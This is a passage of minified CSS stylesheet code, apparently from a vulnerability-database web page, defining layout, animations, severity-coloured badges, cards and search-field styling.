th{font-size:.875rem}.shake-horizontal{animation:shake-horizontal .8s cubic-bezier(.455,.03,.515,.955) both}@keyframes shake-horizontal{0%,to{transform:translateX(0)}10%,30%,50%,70%{transform:translateX(-10px)}20%,40%,60%{transform:translateX(10px)}80%{transform:translateX(8px)}90%{transform:translateX(-8px)}}.shake-horizontal-subtle{animation:shake-horizontal-subtle .8s cubic-bezier(.455,.03,.515,.955) both}@keyframes shake-horizontal-subtle{0%,to{transform:translateX(0)}10%,30%,50%,70%{transform:translateX(-4px)}20%,40%,60%{transform:translateX(4px)}80%{transform:translateX(2px)}90%{transform:translateX(-2px)}}.shake-vertical{animation:shake-vertical .8s cubic-bezier(.455,.03,.515,.955) both}@keyframes shake-vertical{0%,to{transform:translateY(0)}10%,30%,50%,70%{transform:translateY(-8px)}20%,40%,60%{transform:translateY(8px)}80%{transform:translateY(6.4px)}90%{transform:translateY(-6.4px)}}.shake-vertical-subtle{animation:shake-vertical-subtle .8s cubic-bezier(.455,.03,.515,.955) both}@keyframes shake-vertical-subtle{0%,to{transform:translateY(0)}10%,30%,50%,70%{transform:translateY(-2px)}20%,40%,60%{transform:translateY(2px)}80%{transform:translateY(1.6px)}90%{transform:translateY(-1.6px)}}.vue--site-header,[data-vue=site-header]{min-height:64px;background:linear-gradient(90deg,#7530a6 0,#461d9f 50%)}\n.nuxt-progress{position:fixed;top:0;left:0;right:0;height:2px;width:0;opacity:1;transition:width .1s,opacity .4s;background-color:#000;z-index:999999}.nuxt-progress.nuxt-progress-notransition{transition:none}.nuxt-progress-failed{background-color:red}\n.page[data-v-0fde60d6]{background:#fff}main[data-v-0fde60d6]{display:flex;flex-direction:column;min-height:calc(100vh - 145px)}\n.site-header .site-header__container[data-v-be91f9d4]{align-items:center;height:4rem;display:flex}.site-header .site-header__container .title-link[data-v-be91f9d4]{align-items:center;display:flex}.site-header .site-header__container .dropdown-links[data-v-be91f9d4]{display:none;margin-left:auto;color:#1c1c21}.site-header .site-header__container .dropdown-links li[data-v-be91f9d4]{line-height:2rem;min-width:11.25rem;padding:0 10px;color:#383f76}.site-header .site-header__container .dropdown-links li[data-v-be91f9d4] :hover{border-radius:6px;background:rgba(20,93,235,.1);text-decoration:none;font-weight:500}.site-header .site-header__link[data-v-be91f9d4],.site-header .site-header__link[data-v-be91f9d4]:hover{color:#1c1c21;display:none;margin-left:1em}@media only screen and (min-width:26.25em){.site-header .site-header__container .dropdown-links[data-v-be91f9d4],.site-header .site-header__link[data-v-be91f9d4],.site-header .site-header__link[data-v-be91f9d4]:hover{display:block}}\n.vue--layout-container[data-v-43af9ae8]{max-width:1440px;margin-left:auto;margin-right:auto;padding-left:20px;padding-right:20px}\na.vue--anchor[data-v-ce2707d6]{color:#4b45a1;cursor:pointer;text-decoration:none;transition:opacity .25s ease-in-out}a.vue--anchor[data-v-ce2707d6]:focus,a.vue--anchor[data-v-ce2707d6]:hover{color:#4b45a1;text-decoration:underline}a.vue--anchor--cta[data-v-ce2707d6]{color:#157575}a.vue--anchor--cta[data-v-ce2707d6]:focus,a.vue--anchor--cta[data-v-ce2707d6]:hover{color:#157575;text-decoration:underline}a.vue--anchor--inverted[data-v-ce2707d6]{color:#fff;opacity:.8;text-decoration:underline}a.vue--anchor--inverted[data-v-ce2707d6]:focus,a.vue--anchor--inverted[data-v-ce2707d6]:hover{color:#fff;opacity:1}a.vue--anchor--plain[data-v-ce2707d6],a.vue--anchor--plain[data-v-ce2707d6]:focus,a.vue--anchor--plain[data-v-ce2707d6]:hover{color:#555463;text-decoration:none}a.vue--anchor--disabled[data-v-ce2707d6]{cursor:default}a.vue--anchor--disabled[data-v-ce2707d6]:hover{text-decoration:none}.vue--anchor__external[data-v-ce2707d6]{line-height:1em;position:relative;top:-.25em;margin-left:4px}.vue--anchor__external[data-v-ce2707d6]  svg{height:.6em!important;width:.6em!important}.vue--anchor__offscreen[data-v-ce2707d6]{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}\n.vue--dropdown-menu[data-v-64b0d6bd]{position:relative}.vue--dropdown-menu__handle[data-v-64b0d6bd]{cursor:pointer}.vue--dropdown-menu__handle.focus-visible[data-v-64b0d6bd],.vue--dropdown-menu__handle[data-v-64b0d6bd]:focus-visible{outline:1px dotted rgba(75,69,161,.75)}.vue--dropdown-menu__menu[data-v-64b0d6bd]{background-color:#fff;border-radius:4px;box-shadow:0 0 17px 6px rgba(0,0,0,.06);display:none;position:absolute;z-index:5}.open .vue--dropdown-menu__menu[data-v-64b0d6bd]{display:inline-block}.vue--dropdown-menu__menu[data-v-64b0d6bd]:focus{background-color:#0c0}.vue--dropdown-menu__menu--secondary[data-v-64b0d6bd]{background:#faf9fa;border-top:1px solid #e4e3e8;border-radius:0 0 4px 4px}.vue--dropdown-menu__menu--primary[data-v-64b0d6bd],.vue--dropdown-menu__menu--secondary[data-v-64b0d6bd]{padding:16px 0}.vue--dropdown-menu--align-right[data-v-64b0d6bd]{justify-content:flex-end}.vue--dropdown-menu--extra-small[data-v-64b0d6bd]{font-size:.75rem}.vue--dropdown-menu--small[data-v-64b0d6bd]{font-size:.8125rem}\n.vue--dropdown-menu-link[data-v-3871f022]{list-style:none;margin:0;white-space:nowrap}.vue--dropdown-menu-link__link[data-v-3871f022]{display:block;padding:4px 24px}.vue--dropdown-menu-link__link[data-v-3871f022]:focus{outline:1px dotted #4b45a1}.vue--dropdown-menu-link--nested[data-v-3871f022]{padding-left:32px}\n.vuln-page__heading-wrapper[data-v-085cdb9e]{background-color:#f7fafd}.vuln-page__heading-wrapper .grid-wrapper[data-v-085cdb9e]{padding-top:24px}.vuln-page__heading-wrapper .left[data-v-085cdb9e]{display:flex;flex-direction:column;justify-content:space-between}.vuln-page__heading-wrapper hr[data-v-085cdb9e]{border-bottom:3px solid #bfbfbf}.vuln-page__heading-wrapper hr.severity-low[data-v-085cdb9e]{border-color:#86859d}.vuln-page__heading-wrapper hr.severity-medium[data-v-085cdb9e]{border-color:#d68100}.vuln-page__heading-wrapper hr.severity-high[data-v-085cdb9e]{border-color:#cc4f19}.vuln-page__heading-wrapper hr.severity-critical[data-v-085cdb9e]{border-color:#ad1a1a}.vuln-page__heading[data-v-085cdb9e]{margin-top:2px}.vuln-page__heading--icon[data-v-085cdb9e]{position:relative;top:-4px}.vuln-page__body-wrapper[data-v-085cdb9e]{background-color:#fff;padding-bottom:32px;padding-top:32px}.vuln-page__body-wrapper .right[data-v-085cdb9e]{top:-56px}.vuln-page__body-wrapper .right.severity-widget[data-v-085cdb9e]{top:-139px;width:100%;position:absolute;z-index:1}.vuln-page__info-block__container[data-v-085cdb9e]{margin-bottom:32px;display:flex;justify-content:space-between}.vuln-page__instruction-block[data-v-085cdb9e]{margin-bottom:32px}.vuln-page__content[data-v-085cdb9e]{padding:24px 24px 0}.vuln-page__content[data-v-085cdb9e]>:not(:last-child){margin-bottom:24px}.grid-wrapper[data-v-085cdb9e]{display:grid;grid-template-columns:repeat(12,[col-start] 1fr);position:relative}.grid-wrapper .left[data-v-085cdb9e]{grid-column:col-start/span 7;grid-row:1;min-width:0}.grid-wrapper .right[data-v-085cdb9e]{grid-column:col-start 9/span 4;grid-row:1;position:relative;grid-gap:16px;gap:16px;display:flex;flex-direction:column}.subheading[data-v-085cdb9e]{display:block}.banner[data-v-085cdb9e],.subheading[data-v-085cdb9e]{font-size:1.125rem;line-height:1.625rem;font-weight:400;margin-top:12px;margin-bottom:48px}.banner_alert[data-v-085cdb9e]{display:flex;align-items:center}.banner_warn[data-v-085cdb9e]{margin-right:12px}@media screen and (max-width:720px){.vuln-page__body-wrapper .left[data-v-085cdb9e]{margin-top:80px}.grid-wrapper .left[data-v-085cdb9e]{grid-column:col-start/span 12;grid-row:1;margin-right:unset}.grid-wrapper .right[data-v-085cdb9e]{grid-column:col-start/span 12;grid-row:2;margin-bottom:32px;position:relative;top:unset}.grid-wrapper .right.severity-widget[data-v-085cdb9e]{grid-row:1;top:-120px}.vuln-page__heading-wrapper[data-v-085cdb9e]{padding-top:0;word-break:break-all}.vuln-page__heading-wrapper .grid-wrapper[data-v-085cdb9e]{padding:0;margin-bottom:100px}.vuln-page__heading-wrapper .right[data-v-085cdb9e]{background-color:#fff;grid-row:1;padding:16px 20px;margin-bottom:unset}.vuln-page__heading-wrapper .left[data-v-085cdb9e]{grid-row:2;padding:24px 24px 0}.subheading[data-v-085cdb9e]{margin-bottom:0}}@media screen and (max-width:420px){.vuln-page__info-block__container[data-v-085cdb9e]{flex-direction:column}.vuln-page__info-block__container__sharebtn[data-v-085cdb9e]{margin-top:16px}}\n.breadcrumbs-with-search[data-v-c193da48]{background-color:#f6fafd;display:grid;grid-template-columns:repeat(12,[col-start] 1fr);position:relative;padding-top:24px;word-break:break-all}.breadcrumbs-with-search .left[data-v-c193da48]{grid-column:col-start/span 8;grid-row:1;margin-right:78px;max-width:800px}.breadcrumbs-with-search .right[data-v-c193da48]{grid-column:col-start 9/span 4;grid-row:1;position:relative}@media screen and (max-width:720px){.breadcrumbs-with-search[data-v-c193da48]{padding:0}.breadcrumbs-with-search .left[data-v-c193da48]{grid-column:col-start/span 12;grid-row:2;margin-right:unset;padding:16px 20px}.breadcrumbs-with-search .right[data-v-c193da48]{grid-column:col-start/span 12;grid-row:1;background:#fff;padding:16px 20px}}\n.vue--breadcrumbs[data-v-4b4b4f2c]{font-size:15px}.vue--breadcrumbs__list[data-v-4b4b4f2c]{display:block;margin:0;padding:0}.vue--breadcrumbs__list-item[data-v-4b4b4f2c]{display:inline-block;list-style-type:none;margin:0}.vue--breadcrumbs__list-item[data-v-4b4b4f2c]:after{content:\"›\";margin:0 8px 0 4px}.vue--breadcrumbs__list-item[data-v-4b4b4f2c]:last-child:after{display:none}\n.warningText[data-v-4dbb44d0]{padding-left:12px;padding-top:4px;color:#9f271e;font-size:12px;margin:0}\n.vue--search-input[data-v-e38673ba]{position:relative}.vue--search-input__field[data-v-e38673ba]{-webkit-appearance:none;background-color:#fff;border:none;border-radius:2px;display:inline-block;line-height:1.75rem;width:100%;box-shadow:inset 0 0 0 1px #d3d3d9;transition:box-shadow .2s ease;padding:8px 46px 8px 42px}.vue--search-input__field[data-v-e38673ba]::-moz-placeholder{color:#727184}.vue--search-input__field[data-v-e38673ba]:-ms-input-placeholder{color:#727184}.vue--search-input__field[data-v-e38673ba]::placeholder{color:#727184}.vue--search-input__field.focus[data-v-e38673ba],.vue--search-input__field.hover[data-v-e38673ba],.vue--search-input__field[data-v-e38673ba]:focus,.vue--search-input__field[data-v-e38673ba]:hover{box-shadow:inset 0 0 0 1px #4b45a1}.vue--search-input__field[data-v-e38673ba]::-webkit-search-cancel-button,.vue--search-input__field[data-v-e38673ba]::-webkit-search-decoration{display:none}.vue--search-input__field[data-v-e38673ba]:disabled,.vue--search-input__field[disabled][data-v-e38673ba]{background-color:#f4f4f6;box-shadow:inset 0 0 0 1px #d3d3d9;border:none;cursor:no-drop;color:#727184;opacity:1}.vue--search-input__search-icon[data-v-e38673ba]{transition:box-shadow .2s ease;position:absolute;left:12px;color:#393842;top:10px}.vue--search-input__search-icon[data-v-e38673ba]  svg{height:26px;width:26px}.vue--search-input__close-icon[data-v-e38673ba]{position:absolute;right:12px;color:#b3b2bd;cursor:pointer;display:none;top:12px}.vue--search-input__close-icon[data-v-e38673ba]  svg{height:21px;width:21px}.vue--search-input__close-icon--show[data-v-e38673ba]{display:block}.vue--search-input--focused .vue--search-input__search-icon[data-v-e38673ba]{color:#4b45a1}.vue--search-input--small .vue--search-input__field[data-v-e38673ba]{line-height:1.375rem}.vue--search-input--small .vue--search-input__close-icon[data-v-e38673ba],.vue--search-input--small .vue--search-input__search-icon[data-v-e38673ba]{top:9px}.vue--search-input--small .vue--search-input__close-icon[data-v-e38673ba]  svg,.vue--search-input--small .vue--search-input__search-icon[data-v-e38673ba]  svg{height:18px;width:18px}.vue--search-input--disabled .vue--search-input__search-icon[data-v-e38673ba]{opacity:.5}\n.vue--heading[data-v-8dd2f746]{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:500;color:#1c1c21;font-feature-settings:\"pnum\"}.vue--heading--regular[data-v-8dd2f746]{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:400}h1.vue--heading[data-v-8dd2f746]{font-size:1.5rem;line-height:1.875rem}h1.vue--heading[data-v-8dd2f746]  svg{height:1.875rem;width:1.875rem}@media only screen and (min-width:45em){h1.vue--heading[data-v-8dd2f746]{font-size:2rem;line-height:2.5rem}h1.vue--heading[data-v-8dd2f746]  svg{height:2.5rem;width:2.5rem}}h2.vue--heading[data-v-8dd2f746]{font-size:1.125rem;line-height:1.5rem}h2.vue--heading[data-v-8dd2f746]  svg{height:1.5rem;width:1.5rem}@media only screen and (min-width:45em){h2.vue--heading[data-v-8dd2f746]{font-size:1.5rem;line-height:2rem}h2.vue--heading[data-v-8dd2f746]  svg{height:2rem;width:2rem}}h3.vue--heading[data-v-8dd2f746]{font-size:.9375rem;line-height:1.5rem}h3.vue--heading[data-v-8dd2f746]  svg{height:1.5rem;width:1.5rem}@media only screen and (min-width:45em){h3.vue--heading[data-v-8dd2f746]{font-size:1.125rem;line-height:1.625rem}h3.vue--heading[data-v-8dd2f746]  svg{height:1.625rem;width:1.625rem}}h4.vue--heading[data-v-8dd2f746]{font-size:.8125rem;line-height:1.3125rem}h4.vue--heading[data-v-8dd2f746]  svg{height:1.3125rem;width:1.3125rem}@media only screen and (min-width:45em){h4.vue--heading[data-v-8dd2f746]{font-size:.9375rem;line-height:1.5rem}h4.vue--heading[data-v-8dd2f746]  svg{height:1.5rem;width:1.5rem}}\n.severity-widget__wrapper[data-v-aa211cf8]{align-items:center;border-radius:50%;display:flex;filter:drop-shadow(0 30px 50px rgba(79,75,147,.25));justify-content:center;margin:0 auto;position:relative}.severity-widget__wrapper.big[data-v-aa211cf8]{height:170px;width:170px}.severity-widget__wrapper.medium[data-v-aa211cf8]{height:110px;width:110px}.severity-widget__wrapper.small[data-v-aa211cf8]{height:77px;width:77px}.severity-widget__score[data-v-aa211cf8]{font-weight:900;line-height:40px;margin:12px 0}.severity-widget__score.medium[data-v-aa211cf8]{font-size:38px}.severity-widget__score.big[data-v-aa211cf8]{font-size:48px}.severity-widget__score.small[data-v-aa211cf8]{font-size:24px}.severity-widget__score.severity-low[data-v-aa211cf8]{color:#86859d}.severity-widget__score.severity-medium[data-v-aa211cf8]{color:#d68100}.severity-widget__score.severity-high[data-v-aa211cf8]{color:#cc4f19}.severity-widget__score.severity-critical[data-v-aa211cf8]{color:#ad1a1a}.severity-widget__badge[data-v-aa211cf8]{align-items:center;background-color:#fff;border-radius:50%;box-shadow:0 10px 15px rgba(79,75,147,.25);display:flex;flex-direction:column;justify-content:center;position:absolute;z-index:1}.severity-widget__badge.big[data-v-aa211cf8]{height:130px;width:130px}.severity-widget__badge.medium[data-v-aa211cf8]{height:84px;width:84px}.severity-widget__badge.small[data-v-aa211cf8]{height:59px;width:59px}.progress[data-v-aa211cf8]{transform:rotate(90deg) rotateY(180deg)}\n.vue--badge[data-v-0f55f474]{border-radius:4px;border:1px solid transparent;color:#fff;display:inline-block;padding:7px 12px;font-size:.8125rem;line-height:1;font-weight:400;background-color:#4b45a1;position:relative}.vue--badge+.vue--badge[data-v-0f55f474]{margin-left:4px}.vue--badge__text[data-v-0f55f474]{position:relative}.vue--badge__icon[data-v-0f55f474]{left:8px;position:absolute;top:5px}.vue--badge__icon[data-v-0f55f474]  svg{height:1.125rem;width:1.125rem}.vue--badge--default[data-v-0f55f474]{background-color:#f4f4f6;border-color:#d3d3d9;color:#646374}.vue--badge--critical-severity[data-v-0f55f474]{background-color:#ad1a1a;border-color:#ad1a1a}.vue--badge--critical-severity.vue--badge--ghost[data-v-0f55f474]{color:#ad1a1a}.vue--badge--high-severity[data-v-0f55f474]{background-color:#cc4f19;border-color:#cc4f19}.vue--badge--high-severity.vue--badge--ghost[data-v-0f55f474]{color:#cc4f19}.vue--badge--medium-severity[data-v-0f55f474]{background-color:#d68100;border-color:#d68100}.vue--badge--medium-severity.vue--badge--ghost[data-v-0f55f474]{color:#d68100}.vue--badge--low-severity[data-v-0f55f474]{background-color:#86859d;border-color:#86859d}.vue--badge--low-severity.vue--badge--ghost[data-v-0f55f474]{color:#86859d}.vue--badge--no-severity[data-v-0f55f474]{background-color:#bfbfbf;border-color:#bfbfbf}.vue--badge--no-severity.vue--badge--ghost[data-v-0f55f474]{color:#bfbfbf}.vue--badge--action[data-v-0f55f474]{background-color:#4b45a1;border-color:#4b45a1}.vue--badge--action.vue--badge--ghost[data-v-0f55f474]{color:#4b45a1}.vue--badge--action-create[data-v-0f55f474]{background-color:#157575;border-color:#157575}.vue--badge--action-create.vue--badge--ghost[data-v-0f55f474]{color:#157575}.vue--badge--complementary-blue[data-v-0f55f474]{background-color:#4b77aa;border-color:#4b77aa}.vue--badge--complementary-blue.vue--badge--ghost[data-v-0f55f474]{color:#4b77aa}.vue--badge--complementary-burgundy[data-v-0f55f474]{background-color:#903;border-color:#903}.vue--badge--complementary-burgundy.vue--badge--ghost[data-v-0f55f474]{color:#903}.vue--badge--social-twitter[data-v-0f55f474]{background-color:#4ca1eb;border-color:#4ca1eb}.vue--badge--social-twitter.vue--badge--ghost[data-v-0f55f474]{color:#4ca1eb}.vue--badge--info[data-v-0f55f474]{background-color:#edecf6;border-color:#938fc7;color:#4b45a1}.vue--badge--info.vue--badge--ghost[data-v-0f55f474]{border-color:#4b45a1}.vue--badge--warning[data-v-0f55f474]{background-color:#fbf2e7;border-color:#e9af6d;color:#a55c09}.vue--badge--warning.vue--badge--ghost[data-v-0f55f474]{border-color:#a55c09}.vue--badge--success[data-v-0f55f474]{background-color:#e8f1f1;border-color:#a1c8c8;color:#136c6c}.vue--badge--success.vue--badge--ghost[data-v-0f55f474]{border-color:#136c6c}.vue--badge--danger[data-v-0f55f474],.vue--badge--error[data-v-0f55f474]{background-color:#f8e8e8;border-color:#e3a1a1;color:#b81414}.vue--badge--danger.vue--badge--ghost[data-v-0f55f474],.vue--badge--error.vue--badge--ghost[data-v-0f55f474]{border-color:#b81414}.vue--badge--inverted[data-v-0f55f474]{background-color:#fff;border-color:#fff;color:#727184}.vue--badge--inverted.vue--badge--ghost[data-v-0f55f474]{background-color:transparent;color:#fff}.vue--badge--selection[data-v-0f55f474]{background-color:#ffc905;border-color:#ebb800;color:#1c1c21}.vue--badge--selection.vue--badge--ghost[data-v-0f55f474]{border-color:#ffc905;color:#1c1c21}.vue--badge--with-icon[data-v-0f55f474]{padding-left:32px}.vue--badge--with-icon.vue--badge--extra-small[data-v-0f55f474]{padding-left:24px}.vue--badge--with-icon.vue--badge--extra-small .vue--badge__icon[data-v-0f55f474]{top:2px}.vue--badge--with-icon.vue--badge--extra-small .vue--badge__icon[data-v-0f55f474]  svg{height:.6875rem;width:.6875rem}.vue--badge--with-icon.vue--badge--small[data-v-0f55f474]{padding-left:28px}.vue--badge--with-icon.vue--badge--small .vue--badge__icon[data-v-0f55f474]{top:2px}.vue--badge--with-icon.vue--badge--small .vue--badge__icon[data-v-0f55f474]  svg{height:.875rem;width:.875rem}.vue--badge--with-icon.vue--badge--large[data-v-0f55f474]{padding-left:40px}.vue--badge--with-icon.vue--badge--large .vue--badge__icon[data-v-0f55f474]{top:7px}.vue--badge--with-icon.vue--badge--large .vue--badge__icon[data-v-0f55f474]  svg{height:1.5rem;width:1.5rem}.vue--badge--with-tooltip[data-v-0f55f474]{padding-right:36px}.vue--badge--with-tooltip .vue--badge__tooltip[data-v-0f55f474]{position:absolute;right:12px;top:6px}.vue--badge--with-tooltip.vue--badge--extra-small[data-v-0f55f474]{padding-right:30px}.vue--badge--with-tooltip.vue--badge--extra-small .vue--badge__tooltip[data-v-0f55f474]{top:2px;right:8px}.vue--badge--with-tooltip.vue--badge--small[data-v-0f55f474]{padding-right:30px}.vue--badge--with-tooltip.vue--badge--small .vue--badge__tooltip[data-v-0f55f474]{top:2px;right:8px}.vue--badge--with-tooltip.vue--badge--large[data-v-0f55f474]{padding-right:42px}.vue--badge--with-tooltip.vue--badge--large .vue--badge__tooltip[data-v-0f55f474]{top:10px;right:16px}.vue--badge--pill[data-v-0f55f474]{border-radius:50px}.vue--badge--uppercase[data-v-0f55f474]{text-transform:uppercase}.vue--badge--ghost[data-v-0f55f474]{background-color:transparent}.vue--badge--extra-small[data-v-0f55f474]{font-size:.5625rem;padding:4px}.vue--badge--extra-small .vue--badge__icon[data-v-0f55f474]{width:1.25rem}.vue--badge--extra-small--w-icon[data-v-0f55f474]{padding-left:1.375rem}.vue--badge--small[data-v-0f55f474]{font-size:.6875rem;padding:4px 8px}.vue--badge--small .vue--badge__icon[data-v-0f55f474]{width:1.25rem}.vue--badge--small--w-icon[data-v-0f55f474]{padding-left:1.375rem}.vue--badge--large[data-v-0f55f474]{font-size:.9375rem;padding:11px 16px}\n.cvss-details__heading[data-v-03a71328]{margin-bottom:16px}.cvss-details .no-cvss-alert[data-v-03a71328]{margin-bottom:24px;margin-top:8px}.cvss-details .no-cvss-alert.information-outline-icon[data-v-03a71328]{color:#938fc7}.cvss-details .details-extra-padding[data-v-03a71328]{padding-top:72px}@media screen and (max-width:720px){.details-extra-padding[data-v-03a71328]{margin:32px 0;padding-top:1px}}\n.details-box__body[data-v-50201d1d]{padding:24px;font-size:.9375rem}.details-box__body ul[data-v-50201d1d]{padding-left:0;list-style:none}.details-box__body .data-list-items.collapse[data-v-50201d1d]{border-top:1px solid #e4e3e8;margin-bottom:-space(s);margin-top:-space(s)}.details-box__body .data-list-items.collapse .see-all[data-v-50201d1d]{color:#461d9e;line-height:20px;padding:16px 0}\n.vue--card[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#faf9fa;display:flex;flex-direction:column;justify-content:flex-start}.vue--card:not(.vue--card--legacy)+.vue--card[data-v-d6f7b9fc]{margin-top:24px}.vue--card:not(.vue--card--legacy) a .vue--card[data-v-d6f7b9fc]:focus,.vue--card:not(.vue--card--legacy) a .vue--card[data-v-d6f7b9fc]:hover{cursor:pointer}.vue--card:not(.vue--card--legacy) .vue--card__anchor[data-v-d6f7b9fc]{color:#555463;display:block;padding:16px 24px 12px;width:100%}.vue--card:not(.vue--card--legacy) .vue--card__anchor[data-v-d6f7b9fc]:focus,.vue--card:not(.vue--card--legacy) .vue--card__anchor[data-v-d6f7b9fc]:hover{text-decoration:none}.vue--card:not(.vue--card--legacy) .vue--card__anchor:focus .vue--card__anchor-icon[data-v-d6f7b9fc],.vue--card:not(.vue--card--legacy) .vue--card__anchor:hover .vue--card__anchor-icon[data-v-d6f7b9fc]{opacity:1}.vue--card:not(.vue--card--legacy) .vue--card__anchor-icon[data-v-d6f7b9fc]{color:#d3d3d9;opacity:0;transition:opacity .2s ease-in-out}.vue--card:not(.vue--card--legacy) .vue--card__anchor-icon[data-v-d6f7b9fc]  svg{height:20px;width:20px}.vue--card:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]{align-items:center;background-color:#fff;border-radius:4px 4px 0 0;display:flex;justify-content:space-between;position:relative}.vue--card:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{position:relative;top:-1px;margin-right:4px}.vue--card:not(.vue--card--legacy) .vue--card__header h2[data-v-d6f7b9fc]{font-size:1.125rem;font-weight:500}.vue--card:not(.vue--card--legacy) .vue--card__note[data-v-d6f7b9fc]{font-size:.8125rem}.vue--card:not(.vue--card--legacy) .vue--card__intro[data-v-d6f7b9fc]{background-color:#fff;padding:0 24px 12px}.vue--card:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{border-top:1px solid #d3d3d9;height:100%;padding:24px;position:relative}.vue--card:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]:first-child{border-top:none}.vue--card:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]>:first-child{margin-top:0}.vue--card:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]>:last-child{margin-bottom:0}.vue--card:not(.vue--card--legacy) .vue--card__body+.vue--card__alert[data-v-d6f7b9fc]{border-top:none}.vue--card:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc]{font-style:italic;align-items:center;background-color:#fff;border-radius:0 0 4px 4px;border-top:1px solid #d3d3d9;color:#727184;font-size:.8125rem;margin-top:auto;padding:16px 24px}.vue--card:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{display:flex;justify-content:flex-end;align-items:center;background-color:#fff;border-radius:0 0 4px 4px;border-top:1px solid #d3d3d9;margin-top:auto;padding:12px 24px}.vue--card:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{margin-top:0}.vue--card--no-padding:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{padding:0}.vue--card--condensed:not(.vue--card--legacy) .vue--card__anchor[data-v-d6f7b9fc]{padding:12px 12px 10px}.vue--card--condensed:not(.vue--card--legacy) .vue--card__intro[data-v-d6f7b9fc]{padding:0 12px 8px}.vue--card--condensed:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc],.vue--card--condensed:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--condensed:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{padding:12px}.vue--card--warning[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#fbf2e7}.vue--card--warning:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{color:#da7a0b}.vue--card--warning:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#fbf2e7;border-top-color:#e9af6d}.vue--card--warning:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--warning:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{border-color:#e9af6d}.vue--card--warning:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{border-color:#d3d3d9}.vue--card--danger[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#f8e8e8}.vue--card--danger:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{color:#b81414}.vue--card--danger:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#f8e8e8;border-top-color:#e3a1a1}.vue--card--danger:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--danger:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{border-color:#e3a1a1}.vue--card--danger:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{border-color:#d3d3d9}.vue--card--cta[data-v-d6f7b9fc]:not(.vue--card--legacy),.vue--card--success[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#e8f1f1}.vue--card--cta:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg,.vue--card--success:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{color:#157575}.vue--card--cta:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc],.vue--card--success:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#e8f1f1;border-top-color:#a1c8c8}.vue--card--cta:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--cta:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc],.vue--card--success:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--success:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{border-color:#a1c8c8}.vue--card--cta:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc],.vue--card--success:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{border-color:#d3d3d9}.vue--card--info[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#edecf6}.vue--card--info:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{color:#4b45a1}.vue--card--info:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#edecf6;border-top-color:#938fc7}.vue--card--info:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--info:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{border-color:#938fc7}.vue--card--info:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{border-color:#d3d3d9}.vue--card--legacy[data-v-d6f7b9fc],.vue--card--white[data-v-d6f7b9fc]:not(.vue--card--legacy),.vue--card--white:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#fff}.vue--card--legacy[data-v-d6f7b9fc]{border-radius:2px;padding:12px}.vue--card--legacy[data-v-d6f7b9fc]:not(.vue--card--danger){box-shadow:inset 0 0 0 1px #e5e8ed}.vue--card--legacy.vue--card--success[data-v-d6f7b9fc]{background-color:rgba(125,204,204,.45);border:1px solid rgba(33,92,92,.31)}.vue--card--legacy.vue--card--info[data-v-d6f7b9fc]{background-color:#edecf6;border:1px solid #938fc6}.vue--card--legacy+.vue--card[data-v-d6f7b9fc]{margin-top:16px}.vue--card--legacy .vue--card__anchor[data-v-d6f7b9fc]{color:#555463;position:relative}.vue--card--legacy .vue--card__anchor[data-v-d6f7b9fc]:focus,.vue--card--legacy .vue--card__anchor[data-v-d6f7b9fc]:hover{text-decoration:none}.vue--card--legacy .vue--card__anchor:focus[href][data-v-d6f7b9fc]:after,.vue--card--legacy .vue--card__anchor:hover[href][data-v-d6f7b9fc]:after{opacity:1}.vue--card--legacy 